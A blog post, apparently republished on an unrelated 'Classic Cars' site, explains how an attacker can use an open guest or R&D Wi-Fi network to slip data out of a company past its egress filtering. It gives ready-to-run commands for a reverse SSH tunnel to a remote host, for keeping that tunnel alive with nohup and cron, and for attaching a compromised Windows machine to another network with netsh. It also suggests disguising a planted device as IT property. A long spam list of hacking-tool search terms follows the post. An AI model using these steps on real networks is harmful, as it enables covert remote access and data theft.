Classic Cars : Backchannel Data Exfiltration Via Guest/R&D Wi-Fi

Saturday, August 22, 2020

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

More info

  1. Hacker Tools Free Download
  2. Hackers Toolbox
  3. Hacking Tools Mac
  4. Pentest Tools Framework
  5. Bluetooth Hacking Tools Kali
  6. Nsa Hacker Tools
  7. New Hacker Tools
  8. Tools 4 Hack
  9. Github Hacking Tools
  10. Hackrf Tools
  11. New Hacker Tools
  12. Best Pentesting Tools 2018
  13. Hacking Tools For Windows
  14. Hackers Toolbox
  15. Game Hacking
  16. Hack Website Online Tool
  17. Termux Hacking Tools 2019
  18. Hacking Tools Mac
  19. Hacking Tools Windows 10
  20. Hacker Tools Free
  21. Hack And Tools
  22. Pentest Tools Website Vulnerability
  23. Pentest Tools For Ubuntu
  24. Pentest Reporting Tools
  25. Pentest Tools For Mac
  26. Nsa Hack Tools Download
  27. Hack Tools 2019
  28. Hacking Tools Free Download
  29. Pentest Tools Nmap
  30. Pentest Tools Alternative
  31. Hacking Tools Online
  32. Hacking Tools For Windows 7
  33. Pentest Tools Free
  34. Wifi Hacker Tools For Windows
  35. Hacker Hardware Tools
  36. Android Hack Tools Github
  37. Pentest Tools For Ubuntu
  38. Hacking Tools And Software
  39. Underground Hacker Sites
  40. Hacker Tools 2020
  41. Hack Tools For Mac
  42. Hacking Tools Name
  43. Android Hack Tools Github
  44. How To Make Hacking Tools
  45. Tools 4 Hack
  46. Pentest Tools Alternative
  47. Hack Tools Online
  48. Hak5 Tools
  49. Pentest Tools Website
  50. Tools Used For Hacking
  51. Hacker Tools Hardware
  52. Hacking Tools 2020
  53. Free Pentest Tools For Windows
  54. Hack Tool Apk
  55. Kik Hack Tools
  56. Pentest Tools Apk
  57. Pentest Tools Website
  58. Hack Tools Download
  59. Hacking Tools For Games
  60. Hack Tools Pc
  61. Pentest Tools Url Fuzzer
  62. Hacker Tools Free Download
  63. Pentest Tools Download
  64. Pentest Tools Review
  65. Pentest Tools Url Fuzzer
  66. Pentest Tools Free
  67. Hack Rom Tools
  68. Hacker Tools Windows
  69. Termux Hacking Tools 2019
  70. What Is Hacking Tools
  71. Beginner Hacker Tools
  72. Hack Rom Tools
  73. Pentest Tools List
  74. Hacking Tools Name
  75. Hacking Tools Online
  76. Hacking Tools For Pc
  77. Hacking Tools For Beginners
  78. Beginner Hacker Tools
  79. Hacker Tools Apk
  80. Hacker Tools For Pc
  81. Pentest Box Tools Download
  82. Hacking Tools Free Download
  83. Best Pentesting Tools 2018
  84. Wifi Hacker Tools For Windows
  85. Hacker Tools Apk Download
  86. Hack Tools For Games
  87. Pentest Tools Subdomain
  88. Pentest Tools Online
  89. Hacking Tools Usb
  90. Pentest Tools Nmap
  91. Hacker Tools Windows
  92. Underground Hacker Sites
  93. Hacker Tool Kit
  94. Hacking Tools Name
  95. Hacking Tools 2019
  96. Pentest Tools Github
  97. Hack Apps
  98. New Hacker Tools
  99. Hacking Tools Windows
  100. Growth Hacker Tools
  101. Hacker Tools Online
  102. Wifi Hacker Tools For Windows
  103. Pentest Tools Linux
  104. How To Install Pentest Tools In Ubuntu
  105. New Hacker Tools
  106. Pentest Tools Free
  107. Top Pentest Tools
  108. Best Pentesting Tools 2018
  109. Pentest Tools Download
  110. Install Pentest Tools Ubuntu
  111. Game Hacking
  112. New Hack Tools
  113. Hacking Tools 2020
  114. New Hacker Tools
  115. Hacker Tools Software
  116. Game Hacking
  117. Hacker Tools List
  118. Hack Tools For Windows
  119. Hacks And Tools
  120. Hacking Tools
  121. Hacking Tools Windows
  122. Pentest Tools Open Source
  123. Hacking Tools 2020
  124. Pentest Tools Free
  125. Free Pentest Tools For Windows
  126. Hacking Tools Name
  127. Hacking Tools Kit
  128. Hacking Tools For Windows
  129. Hacking Tools Pc
  130. Hacker Tools Free
  131. Hack Tools For Games
  132. Hackers Toolbox
  133. Pentest Tools Free
  134. Pentest Tools Linux
  135. Hack Tools For Windows
  136. Tools 4 Hack
  137. Hacking Tools Pc
  138. Hack Tools
  139. Hacker Tools Free Download
  140. Hacker Tools For Windows
  141. Hacker Tools For Pc
  142. Hacking Tools Name
  143. Underground Hacker Sites
  144. Hacker Tools 2019
  145. Hacker Tools For Windows
  146. Hacking Tools For Games
  147. Android Hack Tools Github
  148. Hacking Tools 2020
  149. Beginner Hacker Tools
  150. Hacking Tools Windows
  151. Pentest Tools List
  152. Hacking Tools Kit
  153. Best Hacking Tools 2019
  154. Hacking Tools Usb
  155. Pentest Tools For Ubuntu
  156. Hacker Tools For Mac
  157. Hak5 Tools
  158. Pentest Tools Android
  159. Pentest Tools Download
  160. New Hack Tools
  161. Hacking Tools Kit
  162. Pentest Tools Website Vulnerability
  163. Hack App
  164. Pentest Tools Windows
  165. Hacker Tools For Mac
  166. Hacker
  167. Pentest Tools Linux
  168. Github Hacking Tools
  169. Pentest Tools Online
  170. Hacking App
  171. Nsa Hacker Tools
  172. Hacking App
  173. Pentest Tools Website Vulnerability
  174. Hack App

No comments:

Post a Comment